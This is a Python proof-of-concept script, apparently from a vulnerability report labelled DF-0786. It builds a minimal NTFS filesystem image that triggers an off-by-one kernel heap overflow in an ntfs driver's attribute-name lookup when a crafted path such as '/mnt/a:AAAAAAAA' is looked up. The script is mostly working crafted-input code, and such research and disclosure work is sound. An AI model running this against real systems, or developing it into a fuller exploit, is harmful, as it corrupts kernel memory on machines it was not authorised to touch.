DF-0786 / gen_ntfs.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 | #!/usr/bin/env python3 """ gen_ntfs.py — Minimal valid NTFS filesystem image generator for DF-0786. Creates a tiny but mountable NTFS image so we can trigger the off-by-one heap overflow in ntfs_ntlookupattr() (sys/vfs/ntfs/ntfs_subr.c:826-828) via a stat("/mnt/a:ATTRNAME") on ANY mounted NTFS volume. Layout (bps=512, spc=8, cluster=4096): Cluster 0 : boot sector Cluster 1 : unused Clusters 2-12 : 11 MFT records (ino 0..10), 4096 bytes each Clusters 13-44 : $UpCase data (131072 bytes = 32 clusters) Clusters 45-63 : unused The root directory (ino 5) contains one index entry for filename "a". stat("/mnt/a:AAAAAAAA") triggers ntfs_ntlookupattr with namelen=8, which kmalloc(8)+memcpy(8)+buf[8]=0 → off-by-one NUL past the 8-byte slab chunk. """ import struct, sys BPS = 512 SPC = 8 CLUS = BPS * SPC # 4096 MFTCN = 2 MFTRECSZ = 1 # clusters per MFT record BPMFTREC = SPC * MFTRECSZ # sectors per MFT record = 8 MFTRECBYTES = BPS * BPMFTREC # 4096 NUM_CLUSTERS = 64 SPV = NUM_CLUSTERS * SPC # sectors per volume = 512 UPCASE_CN = 13 # $UpCase data starts at cluster 13 UPCASE_NCL = 32 # 32 clusters = 131072 bytes FILE_MAGIC = 0x454C4946 END_ATTR = 0xFFFFFFFF NTFS_A_DATA = 0x80 NTFS_A_INDXROOT = 0x90 NTFS_AF_INRUN = 0x01 NTFS_FRFLAG_DIR = 0x0002 NTFS_IEFLAG_LAST = 0x02 def le16(v): return struct.pack('<H', v & 0xFFFF) def le32(v): return struct.pack('<I', v & 0xFFFFFFFF) def le64(v): return struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF) def wstr(s): """ASCII string → UTF-16LE bytes.""" return b''.join(struct.pack('<H', ord(c)) for c in s) def make_boot_sector(): """struct bootfile (73 bytes packed).""" b = bytearray(BPS) b[0:3] = b'\xEB\x52\x90' # jmp near b[3:11] = b'NTFS ' # bf_sysid struct.pack_into('<H', b, 11, BPS) # bf_bps = 512 b[13] = SPC # bf_spc = 8 # reserved2[7] at 14-20 = zeros b[21] = 0xF8 # bf_media # reserved3[2] at 22-23 = zeros struct.pack_into('<H', b, 24, 1) # bf_spt struct.pack_into('<H', b, 26, 1) # bf_heads # reserver4[12] at 28-39 = zeros struct.pack_into('<Q', b, 40, SPV) # bf_spv struct.pack_into('<Q', b, 48, MFTCN) # bf_mftcn = 2 struct.pack_into('<Q', b, 56, 40) # bf_mftmirrcn b[64] = MFTRECSZ # bf_mftrecsz = 1 struct.pack_into('<I', b, 65, CLUS) # bf_ibsz = 4096 struct.pack_into('<I', b, 69, 0x12345678) # bf_volsn return bytes(b) def apply_fixups(rec): """Apply NTFS fixup array to a 4096-byte MFT record. fh_foff at offset 4, fh_fnum at offset 6. Fixup signature = rec[fh_foff..fh_foff+2]. Each sector's last 2 bytes must match the signature. Replacement values go into the fixup array. For simplicity, we use signature=0x0000 and all-zero replacements, ensuring sector boundaries are 0x0000 (they already are in our zero-filled records). """ r = bytearray(rec) fh_foff = struct.unpack_from('<H', r, 4)[0] fh_fnum = struct.unpack_from('<H', r, 6)[0] # Use a non-zero signature to be realistic; set replacement values = original bytes sig = 0x0000 # use zero signature so all boundary bytes (already zero) match # Write fixup array: [sig, repl0, repl1, ...] struct.pack_into('<H', r, fh_foff, sig) for i in range(1, fh_fnum): repl = 0x0000 struct.pack_into('<H', r, fh_foff + i * 2, repl) # Ensure each sector's last 2 bytes == sig for sec in range(fh_fnum - 1): off = sec * BPS + BPS - 2 struct.pack_into('<H', r, off, sig) return bytes(r) def make_file_record(attr_data, flags=0, seqnum=1, nlink=1): """Build a complete 4096-byte FILE record with given attributes.""" rec = bytearray(MFTRECBYTES) attroff = 72 # after fixup array (48 + 9*2 = 66, rounded to 72) # fixuphdr struct.pack_into('<I', rec, 0, FILE_MAGIC) struct.pack_into('<H', rec, 4, 48) # fh_foff struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1) # fh_fnum = 9 # filerec fields # reserved[8] at offset 8 = zeros struct.pack_into('<H', rec, 16, seqnum) # fr_seqnum struct.pack_into('<H', rec, 18, nlink) # fr_nlink struct.pack_into('<H', rec, 20, attroff) # fr_attroff struct.pack_into('<H', rec, 22, flags) # fr_flags used = attroff + len(attr_data) + 4 # +4 for end marker struct.pack_into('<I', rec, 24, used) # fr_size (used size) struct.pack_into('<I', rec, 28, MFTRECBYTES) # fr_allocated struct.pack_into('<Q', rec, 32, 0) # fr_mainrec struct.pack_into('<H', rec, 40, 0) # fr_attrnum # Write attributes at attroff rec[attroff:attroff + len(attr_data)] = attr_data # End marker struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR) return apply_fixups(bytes(rec)) def make_attr_resident(atype, data, name=None): """Build a resident attribute. name: string like "$I30" or None for unnamed. """ name_bytes = wstr(name) if name else b'' namelen = len(name) // 2 if name else 0 # attrhdr: 16 bytes # resident header: 8 bytes (at offset 16) # name: at offset 24 (if named) # data: after name nameoff = 24 if namelen else 0 dataoff = 24 + len(name_bytes) total = dataoff + len(data) # Round up to 8 total = (total + 7) & ~7 a = bytearray(total) # attrhdr struct.pack_into('<I', a, 0, atype) # a_type struct.pack_into('<I', a, 4, total) # reclen a[8] = 0 # a_flag (resident) a[9] = namelen # a_namelen a[10] = nameoff # a_nameoff a[11] = 0 # reserved1 a[12] = 0 # a_compression a[13] = 0 # reserved2 struct.pack_into('<H', a, 14, 0) # a_index # resident header struct.pack_into('<H', a, 16, len(data)) # a_datalen struct.pack_into('<H', a, 18, 0) # reserved1 struct.pack_into('<H', a, 20, dataoff) # a_dataoff struct.pack_into('<H', a, 22, 0) # a_indexed # name if name_bytes: a[24:24 + len(name_bytes)] = name_bytes # data a[dataoff:dataoff + len(data)] = data return bytes(a) def make_attr_nonresident(atype, vcnstart, vcnend, datalen, allocated, run_bytes, name=None): """Build a non-resident attribute with a run list.""" name_bytes = wstr(name) if name else b'' namelen = len(name) // 2 if name else 0 # attrhdr: 16 bytes # non-resident header: 48 bytes (at offset 16) # name: at offset 64 (if named) # run list: after name nameoff = 64 if namelen else 0 dataoff = 64 + len(name_bytes) total = dataoff + len(run_bytes) total = (total + 7) & ~7 a = bytearray(total) struct.pack_into('<I', a, 0, atype) struct.pack_into('<I', a, 4, total) a[8] = NTFS_AF_INRUN # a_flag (non-resident) a[9] = namelen a[10] = nameoff struct.pack_into('<H', a, 14, 0) # non-resident header struct.pack_into('<Q', a, 16, vcnstart) # a_vcnstart struct.pack_into('<Q', a, 24, vcnend) # a_vcnend struct.pack_into('<H', a, 32, dataoff) # a_dataoff struct.pack_into('<H', a, 34, 0) # a_compressalg struct.pack_into('<I', a, 36, 0) # reserved1 struct.pack_into('<Q', a, 40, allocated) # a_allocated struct.pack_into('<Q', a, 48, datalen) # a_datalen struct.pack_into('<Q', a, 56, datalen) # a_initialized # name if name_bytes: a[64:64 + len(name_bytes)] = name_bytes # run list a[dataoff:dataoff + len(run_bytes)] = run_bytes return bytes(a) def make_run_list(runs): """Encode a list of (length_clusters, offset_from_prev) into NTFS run list bytes.""" out = bytearray() for length, offset in runs: # Determine bytes needed for length and offset lb = max(1, (length.bit_length() + 7) // 8) ob = max(1, (offset.bit_length() + 7) // 8) if offset >= 0 else 8 hdr = (ob << 4) | lb out.append(hdr) out += length.to_bytes(lb, 'little') if offset >= 0: out += offset.to_bytes(ob, 'little') else: # Negative offset (two's complement) out += (offset & ((1 << (ob * 8)) - 1)).to_bytes(ob, 'little') out.append(0) # terminator return bytes(out) def make_index_entry(fname_str, ino_num, flag=0): """Build an attr_indexentry struct for a given filename.""" fname_w = wstr(fname_str) fnamelen = len(fname_str) # Fixed part: 82 bytes # Variable: fnamelen * 2 bytes for the name entry_size = 82 + len(fname_w) # Align to 8 entry_size = (entry_size + 7) & ~7 e = bytearray(entry_size) struct.pack_into('<I', e, 0, ino_num) # ie_number struct.pack_into('<I', e, 4, 0) # unknown1 struct.pack_into('<H', e, 8, entry_size) # reclen struct.pack_into('<H', e, 10, 0) # ie_size struct.pack_into('<I', e, 12, flag) # ie_flag struct.pack_into('<I', e, 16, 5) # ie_fpnumber (parent=root) struct.pack_into('<I', e, 20, 0) # unknown2 # ie_ftimes: 32 bytes of zeros (offset 24-55) struct.pack_into('<Q', e, 56, 0) # ie_fallocated struct.pack_into('<Q', e, 64, 0) # ie_fsize struct.pack_into('<Q', e, 72, 0) # ie_fflag e[80] = fnamelen # ie_fnamelen e[81] = 0 # ie_fnametype (POSIX) e[82:82 + len(fname_w)] = fname_w # ie_fname return bytes(e) def make_index_root_data(): """Build INDEX_ROOT attribute data: header + entries.""" # struct attr_indexroot: 32 bytes iroot = bytearray(32) struct.pack_into('<I', iroot, 0, 0x30) # ir_unkn1 struct.pack_into('<I', iroot, 4, 0x01) # ir_unkn2 struct.pack_into('<I', iroot, 8, CLUS) # ir_size = 4096 struct.pack_into('<I', iroot, 12, 1) # ir_unkn3 struct.pack_into('<I', iroot, 16, 0x10) # ir_unkn4 struct.pack_into('<I', iroot, 20, 0) # ir_datalen (filled later) struct.pack_into('<I', iroot, 24, 0) # ir_allocated struct.pack_into('<H', iroot, 28, 1) # ir_flag struct.pack_into('<H', iroot, 30, 0) # ir_unkn7 # Index entries entry_a = make_index_entry("a", ino_num=0, flag=0) entry_last = make_index_entry("", ino_num=0, flag=NTFS_IEFLAG_LAST) data = bytes(iroot) + entry_a + entry_last # Update ir_datalen and ir_allocated data = bytearray(data) struct.pack_into('<I', data, 20, len(data)) # ir_datalen struct.pack_into('<I', data, 24, len(data)) # ir_allocated return bytes(data) def make_attrdef_data(): """Build $AttrDef $DATA: one entry for $DATA (type 0x80) + terminator.""" # struct attrdef: 160 bytes each # ad_name: 64 wchars = 128 bytes # ad_type: u32 # reserved1: u32[2] # ad_flag: u32 # ad_minlen: u64 # ad_maxlen: u64 entry = bytearray(160) name_w = wstr("$DATA") entry[0:len(name_w)] = name_w struct.pack_into('<I', entry, 128, NTFS_A_DATA) # ad_type = 0x80 struct.pack_into('<I', entry, 140, 0x0080) # ad_flag (can be indexed) struct.pack_into('<Q', entry, 144, 0) # ad_minlen struct.pack_into('<Q', entry, 152, 0xFFFFFFFFFFFFFFFF) # ad_maxlen (-1) # Terminator entry: ad_name[0] = 0 term = bytearray(160) return bytes(entry) + bytes(term) def make_bitmap_data(): """Build $Bitmap $DATA: mark clusters 0-44 as used.""" n_bytes = (NUM_CLUSTERS + 7) // 8 bm = bytearray(n_bytes) for cn in range(UPCASE_CN + UPCASE_NCL): # 0..44 bm[cn // 8] |= (1 << (cn % 8)) return bytes(bm) def make_upcase_data(): """Build $UpCase data: 65536 wchar identity table (lowercase→uppercase). For our purposes, an identity table (each char maps to itself) suffices. Exact case matches will work regardless. """ data = bytearray(65536 * 2) for i in range(65536): struct.pack_into('<H', data, i * 2, i) return bytes(data) def build_mft_record_0(): """ino 0: $MFT — $DATA non-resident mapping MFT clusters.""" run = make_run_list([(11, MFTCN)]) # 11 clusters starting at cluster 2 attr = make_attr_nonresident( NTFS_A_DATA, vcnstart=0, vcnend=10, # 11 clusters (VCN 0..10) datalen=11 * CLUS, allocated=11 * CLUS, run_bytes=run ) return make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1) def build_mft_record_4(): """ino 4: $AttrDef — $DATA resident with attrdef entries.""" data = make_attrdef_data() attr = make_attr_resident(NTFS_A_DATA, data) return make_file_record(attr, flags=0, seqnum=1, nlink=1) def build_mft_record_5(): """ino 5: Root directory — $INDEX_ROOT ($I30) resident.""" iroot_data = make_index_root_data() attr = make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30") return make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1) def build_mft_record_6(): """ino 6: $Bitmap — $DATA resident.""" data = make_bitmap_data() attr = make_attr_resident(NTFS_A_DATA, data) return make_file_record(attr, flags=0, seqnum=1, nlink=1) def build_mft_record_10(): """ino 10: $UpCase — $DATA non-resident.""" run = make_run_list([(UPCASE_NCL, UPCASE_CN)]) # 32 clusters at cluster 13 attr = make_attr_nonresident( NTFS_A_DATA, vcnstart=0, vcnend=UPCASE_NCL - 1, datalen=65536 * 2, allocated=65536 * 2, run_bytes=run ) return make_file_record(attr, flags=0, seqnum=1, nlink=1) def build_mft_minimal(): """Minimal valid FILE record (for inos we don't access).""" return make_file_record(b'', flags=0, seqnum=1, nlink=0) def build_image(): img = bytearray(NUM_CLUSTERS * CLUS) # Boot sector in cluster 0 boot = make_boot_sector() img[0:len(boot)] = boot # MFT records at clusters 2-12 (ino 0-10) mft_records = [None] * 11 mft_records[0] = build_mft_record_0() mft_records[1] = build_mft_minimal() mft_records[2] = build_mft_minimal() mft_records[3] = build_mft_minimal() mft_records[4] = build_mft_record_4() mft_records[5] = build_mft_record_5() mft_records[6] = build_mft_record_6() mft_records[7] = build_mft_minimal() mft_records[8] = build_mft_minimal() mft_records[9] = build_mft_minimal() mft_records[10] = build_mft_record_10() for i in range(11): offset = (MFTCN + i) * CLUS rec = mft_records[i] img[offset:offset + len(rec)] = rec # $UpCase data at clusters 13-44 upcase = make_upcase_data() upcase_off = UPCASE_CN * CLUS img[upcase_off:upcase_off + len(upcase)] = upcase return bytes(img) if __name__ == '__main__': out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs.img' img = build_image() with open(out, 'wb') as f: f.write(img) print(f"Generated {out}: {len(img)} bytes ({len(img)//1024} KB)") print(f" bps={BPS} spc={SPC} cluster={CLUS} mftcn={MFTCN}") print(f" Root dir has index entry 'a' (ino 0)") print(f" Trigger: stat /mnt/a:AAAAAAAA (namelen=8 = slab bucket boundary)") |